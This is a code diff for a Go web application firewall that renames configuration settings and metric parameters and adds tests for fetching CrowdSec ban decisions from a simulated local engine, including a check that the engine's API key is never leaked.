# field of a body applies only when the query has no parameter of that name, so
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
#
# The apps encrypt the names, notes, addresses and file names of vault items,
# folders, collections and sends before they send them. These values pass
+3 -6
View File
@@ -13,7 +13,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const vaultwardenThreshold = 5
// Paths of Vaultwarden's API and admin page.
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
},
} {
body := passwordBody(t, sent.r, sent.names, hashes...)
if len(body) > bodyInspectionSize {
t.Fatalf(
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, sent.r, body); len(
+1 -1
View File
@@ -3,7 +3,7 @@
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
+1 -1
View File
@@ -66,7 +66,7 @@ type Params struct {
URL string
// Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS).
// (SWW_WAF_LOOKUP_TIMEOUT).
Timeout time.Duration
// Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one.
+17 -19
View File
@@ -13,15 +13,14 @@ const other = "other"
// busiest are the metrics by one thing the lookup finds of the client,
// its country or its AS number, for requests whose client's is known.
// The busiestCount busiest countries or AS numbers, by their requests
// since the start, have series of their own, and the others are counted
// under other, so that there are never more than busiestCount + 1 series.
// One that drops out of the busiest loses its series, and its next
// requests are counted under other; one that becomes one of them gets a
// series that counts from then on. Each series therefore only ever goes
// up.
// The topN busiest countries or AS numbers, by their requests since the
// start, have series of their own, and the others are counted under
// other, so that there are never more than topN + 1 series. One that
// drops out of the busiest loses its series, and its next requests are
// counted under other; one that becomes one of them gets a series that
// counts from then on. Each series therefore only ever goes up.
type busiest struct {
busiestCount int
topN int
requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec
@@ -39,9 +38,9 @@ type busiest struct {
}
// newCountries returns the metrics by country, with series of their own
// for the busiestCount busiest countries.
func newCountries(busiestCount int) *busiest {
countries := newBusiest(busiestCount, "country", "the client's country")
// for the topN busiest countries.
func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec(
"sww_country_list_refusals_total",
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
}
// newASNs returns the metrics by AS number, with series of their own for
// the busiestCount busiest AS numbers.
func newASNs(busiestCount int) *busiest {
return newBusiest(busiestCount, "asn", "the client's AS number")
// the topN busiest AS numbers.
func newASNs(topN int) *busiest {
return newBusiest(topN, "asn", "the client's AS number")
}
// newBusiest returns the metrics by label, which is described as
// description, with series of their own for the busiestCount busiest
// values.
func newBusiest(busiestCount int, label, description string) *busiest {
// description, with series of their own for the topN busiest values.
func newBusiest(topN int, label, description string) *busiest {
by := []string{label}
return &busiest{
busiestCount: busiestCount,
topN: topN,
requests: counterVec("sww_"+label+"_requests_total",
"Requests, by "+description+".", by),
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
return value
}
if len(b.top) < b.busiestCount {
if len(b.top) < b.topN {
b.top[value] = true
return value
+20 -19
View File
@@ -61,12 +61,12 @@ type Metrics struct {
}
// New returns the metrics, with the Go runtime's and the process's own.
// busiestCount is how many countries and how many AS numbers get series of
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
// topN is how many countries and how many AS numbers get series of their
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
// (SWW_WAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(busiestCount int, instanceName string) *Metrics {
func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"}
byFile := []string{"file"}
registry := prometheus.NewRegistry()
@@ -102,7 +102,7 @@ func New(busiestCount int, instanceName string) *Metrics {
}),
rateLimitHits: counterVec(
"sww_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+
"Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"},
),
@@ -114,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
"and the rule's id.",
[]string{"mode", "rule_id"},
),
countries: newCountries(busiestCount),
asns: newASNs(busiestCount),
countries: newCountries(topN),
asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_geojs_requests_total",
Help: "Requests to GeoJS.",
@@ -185,7 +185,7 @@ func (m *Metrics) AddBansAndClients(
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
) {
for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin,
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} {
m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{
@@ -302,20 +302,20 @@ const sourceLabel = "source"
// AddReputation adds the metrics of the lists fetched from URLs and of the
// DNSBL zones, by source, each list's URL or each zone, its key masked as
// config.MaskZoneKey masks it: the requests whose client a blocklist, a
// zone's verdict or AbuseIPDB's score lists, which ReputationHit counts,
// and, read from lists and dnsbl as the metrics are asked for, for a list,
// the fetches that failed and when the copy in use was fetched, and for a
// zone, the queries made and those that failed. It is called once, before
// ReputationHit.
// config.MaskZoneKey masks it: the requests whose client a blocklist, the
// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
// which ReputationHit counts, and, read from lists and dnsbl as the
// metrics are asked for, for a list, the fetches that failed and when the
// copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation(
lists *reputation.Lists,
dnsbl *reputation.DNSBL,
) {
m.reputationHits = counterVec(
"sww_reputation_hits_total",
"Requests whose client a blocklist, a DNSBL zone or AbuseIPDB lists, "+
"by the list's URL, the zone, or abuseipdb.",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel},
)
m.registry.MustRegister(m.reputationHits)
@@ -378,8 +378,9 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
)
}
// ReputationHit counts a request whose client source lists: a blocklist,
// by its URL, a DNSBL zone, its key masked, or AbuseIPDB, abuseipdb.
// ReputationHit counts a request whose client source lists: a blocklist
// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
// or AbuseIPDB, abuseipdb.
func (m *Metrics) ReputationHit(source string) {
m.reputationHits.WithLabelValues(source).Inc()
}
@@ -464,7 +465,7 @@ func (m *Metrics) RequestReported(
}
// LimitHit counts a request that broke a rate limit, a byte limit or the
// refusal limit, by the window and the kind of hit.
// error burst, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
}
+12 -12
View File
@@ -25,7 +25,7 @@ const (
KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes"
// KindRefusals is the refusal limit, on a client's requests sww
// KindRefusals is the error burst, on a client's requests sww
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
)
@@ -54,7 +54,7 @@ type Limiter struct {
// Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, its buckets of refusals in the
// minute, which the refusal limit counts, and its history.
// minute, which the error burst counts, and its history.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct {
@@ -121,7 +121,7 @@ type Responses struct {
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the
// refusal limit, Attack those that were a clear sign of attack, a match
// error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, BlockedByBlockRule those a
// block rule refused, and BlockedByCoreRuleSet those the Core Rule Set
// refused.
@@ -147,7 +147,7 @@ type Request struct {
RequestBytes int64
ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the refusal limit, Attack for one that matched a ban rule or
// limit or the error burst, Attack for one that matched a ban rule or
// asked for a trap path, BlockedByBlockRule for one a block rule refused,
// and BlockedByCoreRuleSet for one the Core Rule Set refused.
BrokeLimit bool
@@ -185,11 +185,11 @@ func New(limits Limits, maxClients int) *Limiter {
}
}
// Hit is a request that takes a client over a rate limit or the refusal
// limit, or whose bytes take it over a byte limit.
// Hit is a request that takes a client over a rate limit or the error
// burst, or whose bytes take it over a byte limit.
type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the refusal limit.
// KindRefusals for the error burst.
Kind string
// Window is "minute", "hour" or "day".
Window string
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
// CountRefusal counts a request from client at now that sww
// refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than limit, which breaks
// the refusal limit, and the hit.
// that ends at now, this one included, are more than threshold, which
// breaks the error burst, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, limit int64,
client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
hit := Hit{
Kind: KindRefusals,
Window: "minute",
Limit: limit,
Limit: threshold,
Count: count,
}
return hit, count > float64(limit)
return hit, count > float64(threshold)
}
// Reset sets client's counts of requests, of bytes and of refusals in
+4 -6
View File
@@ -351,9 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "")
}
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
t *testing.T,
) {
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
@@ -363,7 +361,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf(
"a refusal within the limit of %d broke the refusal limit",
"a refusal within the threshold of %d broke the error burst",
limit,
)
}
@@ -376,7 +374,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
}
if !over || hit != want {
t.Errorf(
"one over the limit broke it: %t, with %+v; want %+v",
"one over the threshold broke it: %t, with %+v; want %+v",
over,
hit,
want,
@@ -384,7 +382,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the limit.
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(
client,
start.Add(time.Minute+time.Minute/2),
+4 -4
View File
@@ -62,9 +62,9 @@ type Params struct {
// RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool
// BufferLines is the most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
BufferLines int
// Buffer is the most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER).
Buffer int
// Facility is the number of the records' syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME).
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
// id and the structured data have no value.
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
afterTime: " " + hostname + " " + params.AppName + " - - - ",
records: make(chan []byte, params.BufferLines),
records: make(chan []byte, params.Buffer),
}
}
+5 -5
View File
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
endpoint := listen(t)
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
endpointParams.RootCAs = roots
endpointParams.BufferLines = 3
endpointParams.Buffer = 3
sender, _, _ := run(t, endpointParams)
// The sender connects, and its TLS handshake waits for an answer
@@ -402,10 +402,10 @@ func (o *output) text() string {
// appName.
func params(scheme string, addr net.Addr) remotelog.Params {
return remotelog.Params{
URL: &url.URL{Scheme: scheme, Host: addr.String()},
BufferLines: 10,
Facility: local0,
AppName: appName,
URL: &url.URL{Scheme: scheme, Host: addr.String()},
Buffer: 10,
Facility: local0,
AppName: appName,
}
}
+2 -2
View File
@@ -65,8 +65,8 @@ type AbuseIPDBParams struct {
MinScore int64
DailyBudget int
// CacheTTL is how long a score is used after it was fetched
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a check may
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// (SWW_WAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
+622
View File
@@ -0,0 +1,622 @@
package reputation_test
import (
"bytes"
"encoding/json"
"fmt"
"io"
"log/slog"
"net/http"
"net/netip"
"reflect"
"strings"
"sync"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/reputation"
)
// The tests run in a synctest bubble, as those of the blocklists do, and
// fetch the decision list from engine, a stand-in for a CrowdSec engine
// that answers without the network.
const (
// decisionsURL is the decision list of the tests' engine, and engineKey
// the key it answers.
decisionsURL = "http://crowdsec.example:8080/v1/decisions"
engineKey = "crowdsec-key-0123456789abcdef"
// sshBF and probing are scenarios of the engine's decisions.
sshBF = "crowdsecurity/ssh-bf"
probing = "crowdsecurity/http-probing"
// ban is the type of a decision to ban, and rangeScope the scope of a
// decision on a netblock, as CrowdSec names them.
ban = "ban"
rangeScope = "Range"
)
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
manual := "manual 'ban' from 'localhost'"
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
// A shorter decision on the same address, which is not the one
// used.
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
{
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
// Left out: a decision to show a captcha, and one on a country.
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
{"Country", "KP", ban, manual, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
for addr, want := range map[string]reputation.Decision{
suspect: {Expires: began.Add(6 * time.Hour), Scenario: manual},
"198.51.100.0": {Expires: began.Add(time.Hour), Scenario: probing},
"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
"2001:db8::1": {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
"203.0.113.10": {},
"198.51.101.0": {},
"2001:db8::2": {},
"192.0.2.50": {},
} {
wantDecision(t, lists, addr, want)
}
// With the engine down, the copy kept still holds the decision on
// 198.51.100.0/24, which no longer bans once it has ended.
e.set(func(e *engine) { e.failing = true })
time.Sleep(time.Hour - time.Nanosecond)
synctest.Wait()
wantDecision(
t,
lists,
"198.51.100.7",
reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
},
)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(6 * time.Hour),
Scenario: manual,
},
)
})
}
func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantEngineFetches(t, e, 1)
added := reputation.Decision{
Expires: began.Add(2 * time.Hour),
Scenario: probing,
}
e.set(func(e *engine) {
e.decisions = append(e.decisions,
decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
})
time.Sleep(time.Minute - time.Nanosecond)
wantEngineFetches(t, e, 1)
wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
time.Sleep(time.Nanosecond)
wantEngineFetches(t, e, 2)
wantDecision(t, lists, "203.0.113.10", added)
})
}
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
// Two decisions on one address, the shorter listed first.
{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
// 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends
// before.
{
rangeScope,
"198.51.100.128/25",
ban,
sshBF,
began.Add(time.Hour),
},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{
rangeScope,
"192.0.2.0/24",
ban,
probing,
began.Add(5 * time.Hour),
},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"198.51.100.130",
reputation.Decision{
Expires: began.Add(3 * time.Hour),
Scenario: probing,
},
)
wantDecision(
t,
lists,
"192.0.2.20",
reputation.Decision{
Expires: began.Add(5 * time.Hour),
Scenario: probing,
},
)
})
}
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
// With its decision deleted, the engine answers null.
e.set(func(e *engine) { e.decisions = nil })
time.Sleep(time.Minute)
wantEngineFetches(t, e, 2)
want := []reputation.List{{
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
}}
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("lists %+v, want %+v", got, want)
}
if lists.Failures(decisionsURL) != 0 {
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
}
wantDecision(t, lists, suspect, reputation.Decision{})
})
}
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t *testing.T,
) {
t.Parallel()
for _, tc := range crowdSecFailures() {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
queue := newQueue()
p := crowdSecParams()
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
p.Alerts = queue
lists := start(t, e, p)
kept := lists.Snapshot()
e.set(tc.fail)
// Each failure is tried again a minute after it.
for range 2 {
time.Sleep(time.Minute)
synctest.Wait()
}
wantEngineFetches(t, e, 3)
wantDecision(
t,
lists,
suspect,
reputation.Decision{
Expires: began.Add(4 * time.Hour),
Scenario: sshBF,
},
)
want := kept[0]
want.Tried = time.Now()
got := lists.Snapshot()
if !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
}
if n := lists.Failures(decisionsURL); n != 2 {
t.Errorf("%d failures, want 2", n)
}
// One alert for the first failure; the cooldown holds back the
// second.
failed := time.Now().Add(-time.Minute)
alert := fetchFailure(failed, decisionsURL, tc.error)
wantAlert(t, queue, alert)
if !strings.Contains(
log.String(),
`"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
wantKeyNotShown(t, e, log.String(), lists, queue)
})
})
}
}
// crowdSecFailure is a way for the engine to fail: fail has it answer the
// fetches after the first so that they fail with error.
type crowdSecFailure struct {
name string
fail func(e *engine)
error string
}
// crowdSecFailures returns the ways the engine can fail.
func crowdSecFailures() []crowdSecFailure {
const notDecision = " does not give an address or a netblock and a duration, " +
"such as 4h0m0s"
return []crowdSecFailure{
{
"an answer other than 200",
func(e *engine) { e.failing = true },
"the server answered 503 Service Unavailable",
},
{
"a key the engine refuses",
func(e *engine) { e.key = "another-key-0123456789abcdef" },
"the server answered 403 Forbidden",
},
{
"a redirect",
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
"the server answered 302 Found",
},
{
"an answer that does not read",
func(e *engine) { e.answer = "<html>" },
"read the answer: invalid character '<' looking for beginning of value",
},
{
"a decision to ban whose value does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
},
"decision 1" + notDecision,
},
{
"a decision to ban whose duration does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
`"type": "ban", "value": "198.51.100.0/24"}]`
},
"decision 2" + notDecision,
},
}
}
// wantKeyNotShown checks that no fetch carried the engine's key to a URL
// other than its decision list, such as the one a redirect names, and that
// the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which
// lists.json keeps.
func wantKeyNotShown(
t *testing.T,
e *engine,
log string,
lists *reputation.Lists,
queue *alerts.Queue,
) {
t.Helper()
e.mu.Lock()
keySentTo := e.keySentTo
e.mu.Unlock()
if len(keySentTo) != 0 {
t.Errorf("the key was sent to %v", keySentTo)
}
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
if err != nil {
t.Fatalf("encode: %v", err)
}
if strings.Contains(log+string(shown), engineKey) {
t.Errorf("the key is shown in\n%s\n%s", log, shown)
}
}
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
}}
lists := start(t, e, crowdSecParams())
kept := lists.Snapshot()
// Restarted half an hour later with what lists.json keeps, and
// the engine down, the decision still bans, until the end it had at
// the fetch, half an hour on.
time.Sleep(30 * time.Minute)
down := &engine{key: engineKey, failing: true}
again := reputation.New(crowdSecParams())
again.SetTransport(down)
err := again.Load(kept)
if err != nil {
t.Fatalf("load: %v", err)
}
run(t, again)
want := reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
}
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", reputation.Decision{})
})
}
func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
t *testing.T,
) {
t.Parallel()
now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
lists := reputation.New(crowdSecParams())
// Tried, and never fetched: there is no copy to read.
err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
if err != nil {
t.Errorf("load the list never fetched: %v", err)
}
err = lists.Load([]reputation.List{{
URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
`"value": "198.51.100.0/33"}]`,
},
}})
const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
"address or a netblock and a duration, such as 4h0m0s"
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
}
// engine is a stand-in for the local API of a CrowdSec engine. It answers
// a fetch of the decision list that carries its key in X-Api-Key with its
// decisions still in force, each with the time it has left as it answers,
// by the bubble's clock, as an engine does, or with answer while that is
// not "". It answers 403 to a fetch without its key, as an engine does,
// with a redirect to redirect while that is not "", and 503 while failing.
// It counts the fetches, and notes in keySentTo the URL of each fetch of
// another URL that carries a key, as one following a redirect would.
type engine struct {
mu sync.Mutex
key string
decisions []decision
answer string
redirect string
failing bool
fetches int
keySentTo []string
}
// decision is a decision of the engine, which ends at expires.
type decision struct {
scope, value, kind, scenario string
expires time.Time
}
// RoundTrip has the engine answer req, in place of the network.
func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.mu.Lock()
defer e.mu.Unlock()
e.fetches++
if req.URL.String() != decisionsURL &&
req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String())
}
status, header, body := http.StatusOK, http.Header{}, e.answer
switch {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "":
status, header = http.StatusFound, http.Header{
"Location": {e.redirect},
}
case e.failing:
status, body = http.StatusServiceUnavailable, ""
case body == "":
body = e.inForce(time.Now())
}
return &http.Response{
StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Header: header,
Body: io.NopCloser(strings.NewReader(body)),
Request: req,
}, nil
}
// inForce returns the decisions in force at now, as the engine answers
// them: a JSON list, null for none.
func (e *engine) inForce(now time.Time) string {
var answer []map[string]string
for _, d := range e.decisions {
if now.Before(d.expires) {
answer = append(answer, map[string]string{
"duration": d.expires.Sub(now).
String(),
"origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
})
}
}
body, err := json.Marshal(answer)
if err != nil {
panic(err) // a list of maps of strings always encodes
}
return string(body)
}
// set changes the engine with change.
func (e *engine) set(change func(e *engine)) {
e.mu.Lock()
defer e.mu.Unlock()
change(e)
}
// crowdSecParams returns the Params of the decision list of the tests'
// engine, fetched with its key, by the bubble's clock, with alerts to a
// queue that sends none.
func crowdSecParams() reputation.Params {
p := params()
p.CrowdSecDecisionsURL = decisionsURL
p.CrowdSecKey = engineKey
return p
}
// wantEngineFetches waits until Run has made the fetches due, and checks
// how many the engine has had.
func wantEngineFetches(t *testing.T, e *engine, want int) {
t.Helper()
synctest.Wait()
e.mu.Lock()
got := e.fetches
e.mu.Unlock()
if got != want {
t.Errorf("%d fetches, want %d", got, want)
}
}
// wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none.
func wantDecision(
t *testing.T,
lists *reputation.Lists,
addr string,
want reputation.Decision,
) {
t.Helper()
got, listed := lists.CrowdSecDecision(
netip.MustParseAddr(addr),
time.Now(),
)
if listed != !want.Expires.IsZero() ||
listed &&
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
t.Errorf(
"%s has the decision %+v in force %t, want %+v",
addr,
got,
listed,
want,
)
}
}
+2 -2
View File
@@ -60,8 +60,8 @@ type DNSBLParams struct {
// host's, as /etc/resolv.conf names it.
Resolver netip.AddrPort
// CacheTTL is how long a verdict is used after it was fetched
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS).
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
// (SWW_WAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
+4 -5
View File
@@ -40,11 +40,10 @@ const (
// zone and otherZone are the DNSBL zones the tests name.
zone = "dnsbl.example"
otherZone = "other.example"
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
// /etc/resolv.conf can have Go's resolver wait for one server, so that
// it is the DNSBL's own timeout that ends a query, whatever that file
// says.
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
// can have Go's resolver wait for one server, so that it is the
// DNSBL's own timeout that ends a query, whatever that file says.
cacheTTL = 24 * time.Hour
timeout = time.Second
// listed and unlisted are clients zone is asked about by the names
+1
View File
@@ -11,6 +11,7 @@ import (
// network.
func (l *Lists) SetTransport(transport http.RoundTripper) {
l.httpClient.Transport = transport
l.crowdSecClient.Transport = transport
}
// SetTransport has a's checks go through transport instead of the
+171 -20
View File
@@ -1,7 +1,8 @@
// Package reputation fetches the lists the settings name by URL: the
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, and the address lists of
